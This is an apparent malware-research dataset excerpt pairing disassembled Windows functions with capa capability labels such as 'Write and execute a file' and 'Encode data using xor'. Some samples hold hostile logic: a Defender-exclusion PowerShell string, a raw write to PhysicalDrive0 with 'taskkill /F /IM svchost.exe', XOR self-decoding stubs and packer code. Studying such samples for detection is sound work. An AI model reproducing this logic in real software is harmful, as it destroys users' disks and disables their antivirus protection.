joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001f40
Capabilities:
Contain obfuscated stackstrings
Get common file path
Write file on windows

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [str.powershell_Add_MpPreference__Exc_]
movdqu xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x180020920]
movdqu xmmword [rbp - 0x28], xmm1
mov dword [rbp - 0x18], 0x6973756c
mov dword [rbp - 0x14], 0x61506e6f
mov dword [rbp - 0x10], 0x22206874
mov word [rbp - 0xc], 0x7325
mov byte [rbp - 0xa], 0x22
mov ecx, 0x104
call fcn.18000311c
mov rsi, rax
xor edx, edx
mov r8d, 0x104
mov rcx, rax
call fcn.180006180
lea r8, str.C:ProgramDataMicrosoftWindows
lea rdx, [rbp - 0x38]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x104
call fcn.18000311c
mov rbx, rax
xor edx, edx
mov r8d, 0x104
mov rcx, rax
call fcn.180006180
mov rdx, rbx
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.180001970
mov rdx, rax
xor r14d, r14d
mov ecx, r14d
test rax, rax
setne cl
test ecx, ecx
jne 0x180002029
mov ecx, 0x80004005
call fcn.180001870
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x40], rax
call fcn.180009e6c
mov r9d, eax
mov eax, 0x80010003
imul r9d
add edx, r9d
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7fff
sub r9d, eax
mov r8, rbx
lea rdx, str._s_04X.bat
lea rcx, [rbp - 0x40]
call fcn.180002380
mov rcx, rbx
call fcn.180002e10
mov qword [rbp - 0x48], r14
mov rbx, qword [rbp - 0x40]
cmp dword [rbx - 8], 1
jle 0x180002099
mov edx, dword [rbx - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1800022c0
mov rbx, qword [rbp - 0x40]
lea r8, [0x1800205b4]
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.180009f68
or rdi, 0xffffffffffffffff
mov r9, qword [rbp - 0x48]
test r9, r9
je 0x180002104
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x1800020c0
mov edx, 1
mov rcx, rsi
call fcn.18000a200
mov rcx, qword [rbp - 0x48]
call fcn.18000a308
cmp dword [rbx - 8], 1
jle 0x1800020f6
mov edx, dword [rbx - 0x10]
lea rcx, [rbp - 0x40]
call fcn.1800022c0
mov rbx, qword [rbp - 0x40]
mov rcx, rbx
call fcn.180001640
mov r14d, 1
mov rcx, rsi
call fcn.180002e10
nop
lea rdx, [rbx - 0x18]
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x180002125
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
mov eax, r14d
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1800029f0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180002cbc
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x180000000], ax
jne 0x180002d4d
movsxd rax, dword [0x18000003c]
lea rdx, [0x180000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x180002d4d
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180002d4d
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x180002d31
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x180002d2b
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x180002d33
add rdx, 0x28
jmp 0x180002d10
xor edx, edx
test rdx, rdx
jne 0x180002d3c
xor al, al
jmp 0x180002d53
test dword [rdx + 0x24], 0x80000000
je 0x180002d49
xor al, al
jmp 0x180002d53
mov al, 1
jmp 0x180002d53
xor al, al
jmp 0x180002d53
add rsp, 0x18
ret

Function at 0x140943058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409431df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140943089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14094306f
add dl, dl
jne 0x140943096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409430f6
xor eax, eax
add dl, dl
jne 0x1409430a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409431ad
add dl, dl
jne 0x1409430b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409430c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409430d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409430dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409430ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14094307e
mov eax, 1
add dl, dl
jne 0x140943106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140943113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409430fb
sub eax, ebx
mov ebx, 1
jne 0x14094314c
mov ecx, 1
add dl, dl
jne 0x14094312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14094313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140943123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140943168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140943175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14094315d
cmp eax, 0x7d00
jae 0x14094319b
cmp eax, 0x500
jb 0x140943196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094307e
cmp eax, 0x7f
ja 0x14094319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409431d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14094307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001125d
Capabilities:
Terminate process

Disassembly:
jmp 0x140014410
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011302
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
jmp 0x140012c10
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x9a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x3d8], rax
lea rcx, [0x1400250f5]
call fcn.14001143d
lea rdx, str.Hello_World__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x28], rax
mov dword [rbp + 4], 0
lea rcx, str.poutsa
call fcn.140011203
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, 0x200
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 4], 0x200
je 0x140012c9f
lea rcx, str.taskkill__F__IM_svchost.exe
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bdf0]
call fcn.1400113b6
mov eax, edi
mov rcx, qword [rbp + 0x3d8]
xor rcx, rbp
call fcn.14001121c
lea rsp, [rbp + 0x3e8]
pop rdi
pop rbp
ret

Function at 0x14001130c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015760
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015780
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015793
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400157bd
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400157d1
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400157e3
xor al, al
jmp 0x140015801
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400157ff
xor al, al
jmp 0x140015801
mov al, 1
add rsp, 0x38
ret
Function at 0x14000b720
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fdd8]
test rcx, rcx
je 0x14000b75b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b74e
mov rcx, qword [0x14002fdd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fdd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fde8], 0
je 0x14000b84e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029918]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140030610]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b82f
test al, 0x10
je 0x14000b82f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b7d5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14002953c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cc04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cc04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002968c
cmp rax, 0xffffffffffffffff
je 0x14002968c
xor edi, edi
test rbp, rbp
jle 0x140029637
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f530
mov rbx, rax
test rax, rax
jne 0x1400295c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002962d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a538
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d8e0
cmp eax, 0xffffffff
je 0x14002960d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400295d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a538
jmp 0x14002962d
cmp byte [rsi + 0x38], dil
je 0x140029624
cmp dword [rsi + 0x34], 5
jne 0x140029624
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002962d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b2cc
jmp 0x1400296a0
jns 0x1400296a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cc04
cmp rax, 0xffffffffffffffff
jne 0x140029658
cmp byte [rsi + 0x30], dil
je 0x1400296a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400296a0
mov ecx, r14d
call fcn.1400189f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400296a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400296a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029699
mov eax, dword [rsi + 0x2c]
jmp 0x14002969e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cc04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14122e15c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14122e166
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14122e18f
pop rbp
sub rbp, 0x33
sub rbp, 0x122e15c
sub rsp, 0x20
jmp 0x14122e1ae
mov rax, 0x122e15c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x349145fa
xor byte [rax], dl
inc rax
dec rcx
jne 0x14122e1cd
jmp 0x14122e1e4
mov dl, 0x73
adc esi, dword [rcx + 0x73]
invalid
Function at 0x140028d04
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c388
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c388
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028e54
cmp rax, 0xffffffffffffffff
je 0x140028e54
xor edi, edi
test rbp, rbp
jle 0x140028dff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f014
mov rbx, rax
test rax, rax
jne 0x140028d8c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028df5
mov edx, 0x8000
mov ecx, r14d
call fcn.140019c38
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d070
cmp eax, 0xffffffff
je 0x140028dd5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028d9c
mov edx, r15d
mov ecx, r14d
call fcn.140019c38
jmp 0x140028df5
cmp byte [rsi + 0x38], dil
je 0x140028dec
cmp dword [rsi + 0x34], 5
jne 0x140028dec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028df5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a574
jmp 0x140028e68
jns 0x140028e68
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c388
cmp rax, 0xffffffffffffffff
jne 0x140028e20
cmp byte [rsi + 0x30], dil
je 0x140028e68
mov edi, dword [rsi + 0x2c]
jmp 0x140028e68
mov ecx, r14d
call fcn.140018768
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028e68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028e68
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028e61
mov eax, dword [rsi + 0x2c]
jmp 0x140028e66
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c388
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029f60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029f88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029f88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140f76280
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f7628a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f762b3
pop rbp
sub rbp, 0x33
sub rbp, 0xf76280
sub rsp, 0x20
jmp 0x140f762d2
invalid
mov rax, 0xf76280
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x74a0ef3c
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f762f1
jmp 0x140f76308
je 0x140f762bf
invalid
Function at 0x140abfceb
Capabilities:
Encode data using xor

Disassembly:
lea rsp, [rsp + 8]
je 0x140a8b45a
push r9
lea rbx, [0x140a99160]
mov r9d, 0xada86634
shl r9b, 0x63
sbb r9, 0x2a376ba6
movzx r9d, byte [rdx + riz]
push 0x3d99df36
push 0xffffffffe2ac638f
not dword [rsp + 0xb]
xor r9d, ecx
inc qword [rsp + 8]
ror qword [rsp + 8], 0xb7
and r9d, 0xff
or byte [rsp + 2], 0xb4
push 0xfffffffffa974c00
not word [rsp + 0x10]
mov r9d, dword [rbx + r9*4]
shr ecx, 8
sal qword [rsp + 0xd], 0x76
xor ecx, r9d
inc rdx
not word [rsp + 0x14]
xor ecx, 0x243c4888
dec rsi
lea rsp, [rsp + 0x18]
jne 0x140a8b3de
mov r9d, 0xbc2a2e8a
pop r9
push 0x22a28d93
not ecx
mov word [rsp + 6], 0x950e
push 0xffffffffbc81dc09
push 0x2b96fea1
mov dword [r9], ecx
call fcn.140ac2acb
jmp 0x140a8e908
call fcn.140abe4a7
test rsi, rsi
jmp 0x140a99918
jmp 0x140a8b3ca
jo 0x140a9428f
pop r11
push rbp
jmp 0x140ad6f33
call fcn.140aac2e3
mov qword [rsp], rsi
mov rsi, qword [r9 + riz + 8]
add r9, 0xc
xor ecx, ecx
ror byte [rsp + 1], 0x41
jo 0x140aa8650
sub rbx, 8
mov qword [rbx], r10
jmp 0x140aae1db
mov r15, qword [rsp + rbx - 0x90]
bswap ebx
call fcn.140ad8347
mov r9d, 0xe89a1fb1
push r9
lea rax, [r9 + r9 + 0x730feb01]
mov ax, word [r11 + riz]
sal r9b, 7
sete byte [rsp + 7]
mov r9w, word [r11 + riz + 2]
call fcn.140ad54b2
jmp 0x140ad384c

Function at 0x140ac37e1
Capabilities:
Encode data using xor

Disassembly:
lea rdi, [rsp + rdi + 0x30]
je 0x140ad5e78
jno 0x140ad2f71
lea rax, [rcx*4 - 0x28e12ce6]
push rax
mov rax, qword [rdi + riz]
xchg dword [rsp + 1], ecx
rol rcx, cl
shr ecx, 0xf6
mov cl, byte [rdi + rcx - 0xd]
call fcn.140ad2c05
mov rbx, r11
not dword [rsp]
push 0x36174825
lea rsp, [rsp + 0x20]
jmp fcn.140ab0f00
Function at 0x14077e0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14077e237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14077e0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14077e0c7
add dl, dl
jne 0x14077e0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14077e14e
xor eax, eax
add dl, dl
jne 0x14077e0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14077e205
add dl, dl
jne 0x14077e10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14077e11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14077e128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14077e135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14077e142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14077e0d6
mov eax, 1
add dl, dl
jne 0x14077e15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14077e16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14077e153
sub eax, ebx
mov ebx, 1
jne 0x14077e1a4
mov ecx, 1
add dl, dl
jne 0x14077e186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14077e193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14077e17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14077e0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14077e1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14077e1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14077e1b5
cmp eax, 0x7d00
jae 0x14077e1f3
cmp eax, 0x500
jb 0x14077e1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14077e0d6
cmp eax, 0x7f
ja 0x14077e1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14077e0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14077e22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14077e0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x416aa0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x416c2b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435220
xorps xmm15, xmm15
mov r14, qword [0x00e7fe00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x416b05
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x416b14
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x416b33
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x416b43
cmp rbx, 0x1000
jae 0x416b0b
jmp 0x416bad
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x416b55
xor edx, edx
jmp 0x416ba4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435220
xorps xmm15, xmm15
mov r14, qword [0x00e7fe00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x416b39
jmp 0x416b28
call fcn.0046a5a0
xorps xmm15, xmm15
mov r14, qword [0x00e7fe00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00439660
lea rax, [0x004f16e3]
mov ebx, 0x18
nop dword [rax]
call fcn.00439ee0
mov rax, qword [rsp + 0x38]
call fcn.00439c20
lea rax, [0x004f1b81]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00439ee0
mov rax, qword [rsp + 0x30]
call fcn.00439c20
call fcn.004398a0
call fcn.004396c0
lea rax, [0x004f3ef5]
mov ebx, 0x21
call fcn.00437bc0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00466e60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416aa0